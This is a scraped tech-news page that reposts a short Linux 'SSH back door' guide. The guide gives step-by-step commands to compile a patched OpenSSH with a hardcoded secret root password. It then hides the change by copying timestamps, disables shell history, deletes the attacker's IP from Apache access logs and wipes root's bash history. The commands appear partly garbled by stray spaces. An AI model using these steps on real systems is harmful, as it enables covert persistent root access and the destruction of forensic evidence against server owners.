Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Ssh back door

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Linux SSH back door

You can let the root account have two passwords, which does not affect the administrator's normal login.

Change the password in includes.h, and then compile and install.

Unzip sshd.zip cd openssh vi version.h # define SSH_VERSION "OpenSSH_4.2"-> you've to edit OpenSSH_4.2 vi includes.h # define _ SECRET_PASSWD "123456"-edit as u wish cp / etc/ssh/sshd_config / etc/ssh/sshd_config.pub cp / etc/ssh/ssh_config / etc/ssh/ssh_config.pub touch-r / etc/ssh/ Sshd_config / etc/ssh/sshd_config.pub touch-r / etc/ssh/ssh_config / etc/ssh/ssh_config.pub cp / usr/bin/ssh / usr/bin/ssh-keypub touch-r / usr/bin/ssh / usr/bin/ssh-keypub. / configure-- prefix=/usr-- sysconfdir=/etc/ssh make & & make install cp ssh_config sshd_config / etc/ssh/ cd.. rm-rf . / ssh* rm-rf openssh diff / etc/ssh/sshd_config / etc/ssh/sshd_config.pub vi sshd_config diff / etc/ssh/ssh_config / etc/ssh/ssh_config.pub vi ssh_config touch-r / etc/ssh/sshd_config.pub / etc/ssh/sshd_config touch-r / etc/ssh/ssh_config.pub / etc/ssh/ssh_config touch-r / usr/bin/ Ssh-keypub / usr/bin/ssh* / etc/init.d/sshd restartexport HISTFILE=/dev/null export HISTSIZE=0 cd / etc/httpd/logs/ sed-I'/ ip/d' access_log login backdoor: ssh- l root ip password: 123456echo > / root/.bash_history

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report